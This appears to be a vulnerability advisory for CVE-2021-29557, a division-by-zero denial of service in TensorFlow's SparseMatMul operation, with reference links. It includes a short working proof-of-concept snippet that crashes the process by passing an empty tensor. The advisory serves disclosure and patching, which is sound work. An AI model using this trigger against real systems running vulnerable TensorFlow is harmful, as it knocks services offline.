CVE-2021-29557: Division by 0 in `SparseMatMul`
(updated )
An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.SparseMatMul
:
import tensorflow as tf
a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)
tf.raw_ops.SparseMatMul(
a=a, b=b, transpose_a=True, transpose_b=True,
a_is_sparse=True, b_is_sparse=True)
The division by 0 occurs deep in Eigen code because the b
tensor is empty.
References
- github.com/advisories/GHSA-xw93-v57j-fcgh
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-485.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-683.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-194.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5
- github.com/tensorflow/tensorflow/security/advisories/GHSA-xw93-v57j-fcgh
- nvd.nist.gov/vuln/detail/CVE-2021-29557
Detect and mitigate CVE-2021-29557 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →